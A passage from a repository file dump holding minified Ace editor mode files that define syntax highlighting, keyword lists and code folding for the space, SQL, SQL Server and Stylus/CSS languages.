    "content": "define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),define(\"ace/mode/space_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"empty_line\",regex:/ */,next:\"key\"},{token:\"empty_line\",regex:/$/,next:\"key\"}],key:[{token:\"variable\",regex:/\\S+/},{token:\"empty_line\",regex:/$/,next:\"start\"},{token:\"keyword.operator\",regex:/ /,next:\"value\"}],value:[{token:\"keyword.operator\",regex:/$/,next:\"start\"},{token:\"string\",regex:/[^$]/}]}};r.inherits(s,i),t.SpaceHighlightRules=s}),define(\"ace/mode/space\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/folding/coffee\",\"ace/mode/space_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./folding/coffee\").FoldMode,o=e(\"./space_highlight_rules\").SpaceHighlightRules,u=function(){this.HighlightRules=o,this.foldingRules=new s};r.inherits(u,i),function(){this.$id=\"ace/mode/space\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-sql.js",
    "content": "define(\"ace/mode/sql_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"select|insert|update|delete|from|where|and|or|group|by|order|limit|offset|having|as|case|when|else|end|type|left|right|join|on|outer|desc|asc|union|create|table|primary|key|if|foreign|not|references|default|null|inner|cross|natural|database|drop|grant\",t=\"true|false\",n=\"avg|count|first|last|max|min|sum|ucase|lcase|mid|len|round|rank|now|format|coalesce|ifnull|isnull|nvl\",r=\"int|numeric|decimal|date|varchar|char|bigint|float|double|bit|binary|text|set|timestamp|money|real|number|integer\",i=this.createKeywordMapper({\"support.function\":n,keyword:e,\"constant.language\":t,\"storage.type\":r},\"identifier\",!0);this.$rules={start:[{token:\"comment\",regex:\"--.*$\"},{token:\"comment\",start:\"/\\\\*\",end:\"\\\\*/\"},{token:\"string\",regex:'\".*?\"'},{token:\"string\",regex:\"'.*?'\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:i,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\/|\\\\/\\\\/|%|<@>|@>|<@|&|\\\\^|~|<|>|<=|=>|==|!=|<>|=\"},{token:\"paren.lparen\",regex:\"[\\\\(]\"},{token:\"paren.rparen\",regex:\"[\\\\)]\"},{token:\"text\",regex:\"\\\\s+\"}]},this.normalizeRules()};r.inherits(s,i),t.SqlHighlightRules=s}),define(\"ace/mode/sql\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/sql_highlight_rules\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./sql_highlight_rules\").SqlHighlightRules,o=e(\"../range\").Range,u=function(){this.HighlightRules=s};r.inherits(u,i),function(){this.lineCommentStart=\"--\",this.$id=\"ace/mode/sql\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-sqlserver.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/sqlserver_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=\"ALL|AND|ANY|BETWEEN|EXISTS|IN|LIKE|NOT|OR|SOME\";e+=\"|NULL|IS|APPLY|INNER|OUTER|LEFT|RIGHT|JOIN|CROSS\";var t=\"OPENDATASOURCE|OPENQUERY|OPENROWSET|OPENXML|AVG|CHECKSUM_AGG|COUNT|COUNT_BIG|GROUPING|GROUPING_ID|MAX|MIN|STDEV|STDEVP|SUM|VAR|VARP|DENSE_RANK|NTILE|RANK|ROW_NUMBER@@DATEFIRST|@@DBTS|@@LANGID|@@LANGUAGE|@@LOCK_TIMEOUT|@@MAX_CONNECTIONS|@@MAX_PRECISION|@@NESTLEVEL|@@OPTIONS|@@REMSERVER|@@SERVERNAME|@@SERVICENAME|@@SPID|@@TEXTSIZE|@@VERSION|CAST|CONVERT|PARSE|TRY_CAST|TRY_CONVERT|TRY_PARSE@@CURSOR_ROWS|@@FETCH_STATUS|CURSOR_STATUS|@@DATEFIRST|@@LANGUAGE|CURRENT_TIMESTAMP|DATEADD|DATEDIFF|DATEFROMPARTS|DATENAME|DATEPART|DATETIME2FROMPARTS|DATETIMEFROMPARTS|DATETIMEOFFSETFROMPARTS|DAY|EOMONTH|GETDATE|GETUTCDATE|ISDATE|MONTH|SET DATEFIRST|SET DATEFORMAT|SET LANGUAGE|SMALLDATETIMEFROMPARTS|SP_HELPLANGUAGE|SWITCHOFFSET|SYSDATETIME|SYSDATETIMEOFFSET|SYSUTCDATETIME|TIMEFROMPARTS|TODATETIMEOFFSET|YEAR|CHOOSE|IIF|ABS|ACOS|ASIN|ATAN|ATN2|CEILING|COS|COT|DEGREES|EXP|FLOOR|LOG|LOG10|PI|POWER|RADIANS|RAND|ROUND|SIGN|SIN|SQRT|SQUARE|TAN|@@PROCID|APPLOCK_MODE|APPLOCK_TEST|APP_NAME|ASSEMBLYPROPERTY|COLUMNPROPERTY|COL_LENGTH|COL_NAME|DATABASEPROPERTYEX|DATABASE_PRINCIPAL_ID|DB_ID|DB_NAME|FILEGROUPPROPERTY|FILEGROUP_ID|FILEGROUP_NAME|FILEPROPERTY|FILE_ID|FILE_IDEX|FILE_NAME|FULLTEXTCATALOGPROPERTY|FULLTEXTSERVICEPROPERTY|INDEXKEY_PROPERTY|INDEXPROPERTY|INDEX_COL|OBJECTPROPERTY|OBJECTPROPERTYEX|OBJECT_DEFINITION|OBJECT_ID|OBJECT_NAME|OBJECT_SCHEMA_NAME|ORIGINAL_DB_NAME|PARSENAME|SCHEMA_ID|SCHEMA_NAME|SCOPE_IDENTITY|SERVERPROPERTY|STATS_DATE|TYPEPROPERTY|TYPE_ID|TYPE_NAME|CERTENCODED|CERTPRIVATEKEY|CURRENT_USER|DATABASE_PRINCIPAL_ID|HAS_PERMS_BY_NAME|IS_MEMBER|IS_ROLEMEMBER|IS_SRVROLEMEMBER|ORIGINAL_LOGIN|PERMISSIONS|PWDCOMPARE|PWDENCRYPT|SCHEMA_ID|SCHEMA_NAME|SESSION_USER|SUSER_ID|SUSER_NAME|SUSER_SID|SUSER_SNAME|SYS.FN_BUILTIN_PERMISSIONS|SYS.FN_GET_AUDIT_FILE|SYS.FN_MY_PERMISSIONS|SYSTEM_USER|USER_ID|USER_NAME|ASCII|CHAR|CHARINDEX|CONCAT|DIFFERENCE|FORMAT|LEN|LOWER|LTRIM|NCHAR|PATINDEX|QUOTENAME|REPLACE|REPLICATE|REVERSE|RTRIM|SOUNDEX|SPACE|STR|STUFF|SUBSTRING|UNICODE|UPPER|$PARTITION|@@ERROR|@@IDENTITY|@@PACK_RECEIVED|@@ROWCOUNT|@@TRANCOUNT|BINARY_CHECKSUM|CHECKSUM|CONNECTIONPROPERTY|CONTEXT_INFO|CURRENT_REQUEST_ID|ERROR_LINE|ERROR_MESSAGE|ERROR_NUMBER|ERROR_PROCEDURE|ERROR_SEVERITY|ERROR_STATE|FORMATMESSAGE|GETANSINULL|GET_FILESTREAM_TRANSACTION_CONTEXT|HOST_ID|HOST_NAME|ISNULL|ISNUMERIC|MIN_ACTIVE_ROWVERSION|NEWID|NEWSEQUENTIALID|ROWCOUNT_BIG|XACT_STATE|@@CONNECTIONS|@@CPU_BUSY|@@IDLE|@@IO_BUSY|@@PACKET_ERRORS|@@PACK_RECEIVED|@@PACK_SENT|@@TIMETICKS|@@TOTAL_ERRORS|@@TOTAL_READ|@@TOTAL_WRITE|FN_VIRTUALFILESTATS|PATINDEX|TEXTPTR|TEXTVALID|COALESCE|NULLIF\",n=\"BIGINT|BINARY|BIT|CHAR|CURSOR|DATE|DATETIME|DATETIME2|DATETIMEOFFSET|DECIMAL|FLOAT|HIERARCHYID|IMAGE|INTEGER|INT|MONEY|NCHAR|NTEXT|NUMERIC|NVARCHAR|REAL|SMALLDATETIME|SMALLINT|SMALLMONEY|SQL_VARIANT|TABLE|TEXT|TIME|TIMESTAMP|TINYINT|UNIQUEIDENTIFIER|VARBINARY|VARCHAR|XML\",r=\"sp_addextendedproc|sp_addextendedproperty|sp_addmessage|sp_addtype|sp_addumpdevice|sp_add_data_file_recover_suspect_db|sp_add_log_file_recover_suspect_db|sp_altermessage|sp_attach_db|sp_attach_single_file_db|sp_autostats|sp_bindefault|sp_bindrule|sp_bindsession|sp_certify_removable|sp_clean_db_file_free_space|sp_clean_db_free_space|sp_configure|sp_control_plan_guide|sp_createstats|sp_create_plan_guide|sp_create_plan_guide_from_handle|sp_create_removable|sp_cycle_errorlog|sp_datatype_info|sp_dbcmptlevel|sp_dbmmonitoraddmonitoring|sp_dbmmonitorchangealert|sp_dbmmonitorchangemonitoring|sp_dbmmonitordropalert|sp_dbmmonitordropmonitoring|sp_dbmmonitorhelpalert|sp_dbmmonitorhelpmonitoring|sp_dbmmonitorresults|sp_db_increased_partitions|sp_delete_backuphistory|sp_depends|sp_describe_first_result_set|sp_describe_undeclared_parameters|sp_detach_db|sp_dropdevice|sp_dropextendedproc|sp_dropextendedproperty|sp_dropmessage|sp_droptype|sp_execute|sp_executesql|sp_getapplock|sp_getbindtoken|sp_help|sp_helpconstraint|sp_helpdb|sp_helpdevice|sp_helpextendedproc|sp_helpfile|sp_helpfilegroup|sp_helpindex|sp_helplanguage|sp_helpserver|sp_helpsort|sp_helpstats|sp_helptext|sp_helptrigger|sp_indexoption|sp_invalidate_textptr|sp_lock|sp_monitor|sp_prepare|sp_prepexec|sp_prepexecrpc|sp_procoption|sp_recompile|sp_refreshview|sp_releaseapplock|sp_rename|sp_renamedb|sp_resetstatus|sp_sequence_get_range|sp_serveroption|sp_setnetname|sp_settriggerorder|sp_spaceused|sp_tableoption|sp_unbindefault|sp_unbindrule|sp_unprepare|sp_updateextendedproperty|sp_updatestats|sp_validname|sp_who|sys.sp_merge_xtp_checkpoint_files|sys.sp_xtp_bind_db_resource_pool|sys.sp_xtp_checkpoint_force_garbage_collection|sys.sp_xtp_control_proc_exec_stats|sys.sp_xtp_control_query_exec_stats|sys.sp_xtp_unbind_db_resource_pool\",s=\"ABSOLUTE|ACTION|ADA|ADD|ADMIN|AFTER|AGGREGATE|ALIAS|ALL|ALLOCATE|ALTER|AND|ANY|ARE|ARRAY|AS|ASC|ASENSITIVE|ASSERTION|ASYMMETRIC|AT|ATOMIC|AUTHORIZATION|BACKUP|BEFORE|BEGIN|BETWEEN|BIT_LENGTH|BLOB|BOOLEAN|BOTH|BREADTH|BREAK|BROWSE|BULK|BY|CALL|CALLED|CARDINALITY|CASCADE|CASCADED|CASE|CATALOG|CHARACTER|CHARACTER_LENGTH|CHAR_LENGTH|CHECK|CHECKPOINT|CLASS|CLOB|CLOSE|CLUSTERED|COALESCE|COLLATE|COLLATION|COLLECT|COLUMN|COMMIT|COMPLETION|COMPUTE|CONDITION|CONNECT|CONNECTION|CONSTRAINT|CONSTRAINTS|CONSTRUCTOR|CONTAINS|CONTAINSTABLE|CONTINUE|CORR|CORRESPONDING|COVAR_POP|COVAR_SAMP|CREATE|CROSS|CUBE|CUME_DIST|CURRENT|CURRENT_CATALOG|CURRENT_DATE|CURRENT_DEFAULT_TRANSFORM_GROUP|CURRENT_PATH|CURRENT_ROLE|CURRENT_SCHEMA|CURRENT_TIME|CURRENT_TRANSFORM_GROUP_FOR_TYPE|CYCLE|DATA|DATABASE|DBCC|DEALLOCATE|DEC|DECLARE|DEFAULT|DEFERRABLE|DEFERRED|DELETE|DENY|DEPTH|DEREF|DESC|DESCRIBE|DESCRIPTOR|DESTROY|DESTRUCTOR|DETERMINISTIC|DIAGNOSTICS|DICTIONARY|DISCONNECT|DISK|DISTINCT|DISTRIBUTED|DOMAIN|DOUBLE|DROP|DUMP|DYNAMIC|EACH|ELEMENT|ELSE|END|END-EXEC|EQUALS|ERRLVL|ESCAPE|EVERY|EXCEPT|EXCEPTION|EXEC|EXECUTE|EXISTS|EXIT|EXTERNAL|EXTRACT|FETCH|FILE|FILLFACTOR|FILTER|FIRST|FOR|FOREIGN|FORTRAN|FOUND|FREE|FREETEXT|FREETEXTTABLE|FROM|FULL|FULLTEXTTABLE|FUNCTION|FUSION|GENERAL|GET|GLOBAL|GO|GOTO|GRANT|GROUP|HAVING|HOLD|HOLDLOCK|HOST|HOUR|IDENTITY|IDENTITYCOL|IDENTITY_INSERT|IF|IGNORE|IMMEDIATE|IN|INCLUDE|INDEX|INDICATOR|INITIALIZE|INITIALLY|INNER|INOUT|INPUT|INSENSITIVE|INSERT|INTEGER|INTERSECT|INTERSECTION|INTERVAL|INTO|IS|ISOLATION|ITERATE|JOIN|KEY|KILL|LANGUAGE|LARGE|LAST|LATERAL|LEADING|LESS|LEVEL|LIKE|LIKE_REGEX|LIMIT|LINENO|LN|LOAD|LOCAL|LOCALTIME|LOCALTIMESTAMP|LOCATOR|MAP|MATCH|MEMBER|MERGE|METHOD|MINUTE|MOD|MODIFIES|MODIFY|MODULE|MULTISET|NAMES|NATIONAL|NATURAL|NCLOB|NEW|NEXT|NO|NOCHECK|NONCLUSTERED|NONE|NORMALIZE|NOT|NULL|NULLIF|OBJECT|OCCURRENCES_REGEX|OCTET_LENGTH|OF|OFF|OFFSETS|OLD|ON|ONLY|OPEN|OPERATION|OPTION|OR|ORDER|ORDINALITY|OUT|OUTER|OUTPUT|OVER|OVERLAPS|OVERLAY|PAD|PARAMETER|PARAMETERS|PARTIAL|PARTITION|PASCAL|PATH|PERCENT|PERCENTILE_CONT|PERCENTILE_DISC|PERCENT_RANK|PIVOT|PLAN|POSITION|POSITION_REGEX|POSTFIX|PRECISION|PREFIX|PREORDER|PREPARE|PRESERVE|PRIMARY|PRINT|PRIOR|PRIVILEGES|PROC|PROCEDURE|PUBLIC|RAISERROR|RANGE|READ|READS|READTEXT|RECONFIGURE|RECURSIVE|REF|REFERENCES|REFERENCING|REGR_AVGX|REGR_AVGY|REGR_COUNT|REGR_INTERCEPT|REGR_R2|REGR_SLOPE|REGR_SXX|REGR_SXY|REGR_SYY|RELATIVE|RELEASE|REPLICATION|RESTORE|RESTRICT|RESULT|RETURN|RETURNS|REVERT|REVOKE|ROLE|ROLLBACK|ROLLUP|ROUTINE|ROW|ROWCOUNT|ROWGUIDCOL|ROWS|RULE|SAVE|SAVEPOINT|SCHEMA|SCOPE|SCROLL|SEARCH|SECOND|SECTION|SECURITYAUDIT|SELECT|SEMANTICKEYPHRASETABLE|SEMANTICSIMILARITYDETAILSTABLE|SEMANTICSIMILARITYTABLE|SENSITIVE|SEQUENCE|SESSION|SET|SETS|SETUSER|SHUTDOWN|SIMILAR|SIZE|SOME|SPECIFIC|SPECIFICTYPE|SQL|SQLCA|SQLCODE|SQLERROR|SQLEXCEPTION|SQLSTATE|SQLWARNING|START|STATE|STATEMENT|STATIC|STATISTICS|STDDEV_POP|STDDEV_SAMP|STRUCTURE|SUBMULTISET|SUBSTRING_REGEX|SYMMETRIC|SYSTEM|TABLESAMPLE|TEMPORARY|TERMINATE|TEXTSIZE|THAN|THEN|TIMEZONE_HOUR|TIMEZONE_MINUTE|TO|TOP|TRAILING|TRAN|TRANSACTION|TRANSLATE|TRANSLATE_REGEX|TRANSLATION|TREAT|TRIGGER|TRIM|TRUNCATE|TSEQUAL|UESCAPE|UNDER|UNION|UNIQUE|UNKNOWN|UNNEST|UNPIVOT|UPDATE|UPDATETEXT|USAGE|USE|USER|USING|VALUE|VALUES|VARIABLE|VARYING|VAR_POP|VAR_SAMP|VIEW|WAITFOR|WHEN|WHENEVER|WHERE|WHILE|WIDTH_BUCKET|WINDOW|WITH|WITHIN|WITHIN GROUP|WITHOUT|WORK|WRITE|WRITETEXT|XMLAGG|XMLATTRIBUTES|XMLBINARY|XMLCAST|XMLCOMMENT|XMLCONCAT|XMLDOCUMENT|XMLELEMENT|XMLEXISTS|XMLFOREST|XMLITERATE|XMLNAMESPACES|XMLPARSE|XMLPI|XMLQUERY|XMLSERIALIZE|XMLTABLE|XMLTEXT|XMLVALIDATE|ZONE\";s+=\"|KEEPIDENTITY|KEEPDEFAULTS|IGNORE_CONSTRAINTS|IGNORE_TRIGGERS|XLOCK|FORCESCAN|FORCESEEK|HOLDLOCK|NOLOCK|NOWAIT|PAGLOCK|READCOMMITTED|READCOMMITTEDLOCK|READPAST|READUNCOMMITTED|REPEATABLEREAD|ROWLOCK|SERIALIZABLE|SNAPSHOT|SPATIAL_WINDOW_MAX_CELLS|TABLOCK|TABLOCKX|UPDLOCK|XLOCK|IGNORE_NONCLUSTERED_COLUMNSTORE_INDEX|EXPAND|VIEWS|FAST|FORCE|KEEP|KEEPFIXED|MAXDOP|MAXRECURSION|OPTIMIZE|PARAMETERIZATION|SIMPLE|FORCED|RECOMPILE|ROBUST|PLAN|SPATIAL_WINDOW_MAX_CELLS|NOEXPAND|HINT\",s+=\"|LOOP|HASH|MERGE|REMOTE\",s+=\"|TRY|CATCH|THROW\",s+=\"|TYPE\",s=s.split(\"|\"),s=s.filter(function(r,i,s){return e.split(\"|\").indexOf(r)===-1&&t.split(\"|\").indexOf(r)===-1&&n.split(\"|\").indexOf(r)===-1}),s=s.sort().join(\"|\");var o=this.createKeywordMapper({\"constant.language\":e,\"storage.type\":n,\"support.function\":t,\"support.storedprocedure\":r,keyword:s},\"identifier\",!0),u=\"SET ANSI_DEFAULTS|SET ANSI_NULLS|SET ANSI_NULL_DFLT_OFF|SET ANSI_NULL_DFLT_ON|SET ANSI_PADDING|SET ANSI_WARNINGS|SET ARITHABORT|SET ARITHIGNORE|SET CONCAT_NULL_YIELDS_NULL|SET CURSOR_CLOSE_ON_COMMIT|SET DATEFIRST|SET DATEFORMAT|SET DEADLOCK_PRIORITY|SET FIPS_FLAGGER|SET FMTONLY|SET FORCEPLAN|SET IDENTITY_INSERT|SET IMPLICIT_TRANSACTIONS|SET LANGUAGE|SET LOCK_TIMEOUT|SET NOCOUNT|SET NOEXEC|SET NUMERIC_ROUNDABORT|SET OFFSETS|SET PARSEONLY|SET QUERY_GOVERNOR_COST_LIMIT|SET QUOTED_IDENTIFIER|SET REMOTE_PROC_TRANSACTIONS|SET ROWCOUNT|SET SHOWPLAN_ALL|SET SHOWPLAN_TEXT|SET SHOWPLAN_XML|SET STATISTICS IO|SET STATISTICS PROFILE|SET STATISTICS TIME|SET STATISTICS XML|SET TEXTSIZE|SET XACT_ABORT\".split(\"|\"),a=\"READ UNCOMMITTED|READ COMMITTED|REPEATABLE READ|SNAPSHOP|SERIALIZABLE\".split(\"|\");for(var f=0;f<a.length;f++)u.push(\"SET TRANSACTION ISOLATION LEVEL \"+a[f]);this.$rules={start:[{token:\"string.start\",regex:\"'\",next:[{token:\"constant.language.escape\",regex:/''/},{token:\"string.end\",next:\"start\",regex:\"'\"},{defaultToken:\"string\"}]},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"--.*$\"},{token:\"comment\",start:\"/\\\\*\",end:\"\\\\*/\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:o,regex:\"@{0,2}[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b(?!])\"},{token:\"constant.class\",regex:\"@@?[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\/|\\\\/\\\\/|%|<@>|@>|<@|&|\\\\^|~|<|>|<=|=>|==|!=|<>|=|\\\\*\"},{token:\"paren.lparen\",regex:\"[\\\\(]\"},{token:\"paren.rparen\",regex:\"[\\\\)]\"},{token:\"punctuation\",regex:\",|;\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}]};for(var f=0;f<u.length;f++)this.$rules.start.unshift({token:\"set.statement\",regex:u[f]});this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")]),this.normalizeRules();var l=[],c=function(e,t){e.forEach(function(e){l.push({name:e,value:e,score:0,meta:t})})};c(r.split(\"|\"),\"procedure\"),c(e.split(\"|\"),\"operator\"),c(t.split(\"|\"),\"function\"),c(n.split(\"|\"),\"type\"),c(u,\"statement\"),c(s.split(\"|\"),\"keyword\"),this.completions=l};r.inherits(o,s),t.SqlHighlightRules=o}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/folding/sqlserver\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./cstyle\").FoldMode,o=t.FoldMode=function(){};r.inherits(o,s),function(){this.foldingStartMarker=/(\\bCASE\\b|\\bBEGIN\\b)|^\\s*(\\/\\*)/i,this.startRegionRe=/^\\s*(\\/\\*|--)#?region\\b/,this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.getBeginEndBlock(e,n,o,s[1]);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;return},this.getBeginEndBlock=function(e,t,n,r){var s={row:t,column:n+r.length},o=e.getLength(),u,a=1,f=/(\\bCASE\\b|\\bBEGIN\\b)|(\\bEND\\b)/i;while(++t<o){u=e.getLine(t);var l=f.exec(u);if(!l)continue;l[1]?a++:a--;if(!a)break}var c=t;if(c>s.row)return new i(s.row,s.column,c,u.length)}}.call(o.prototype)}),define(\"ace/mode/sqlserver\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/sqlserver_highlight_rules\",\"ace/range\",\"ace/mode/folding/sqlserver\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./sqlserver_highlight_rules\").SqlHighlightRules,o=e(\"../range\").Range,u=e(\"./folding/sqlserver\").FoldMode,a=function(){this.HighlightRules=s,this.foldingRules=new u};r.inherits(a,i),function(){this.lineCommentStart=\"--\",this.blockComment={start:\"/*\",end:\"*/\"},this.getCompletions=function(e,t,n,r){return t.$mode.$highlightRules.completions},this.$id=\"ace/mode/sql\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-stylus.js",
    "content": "define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|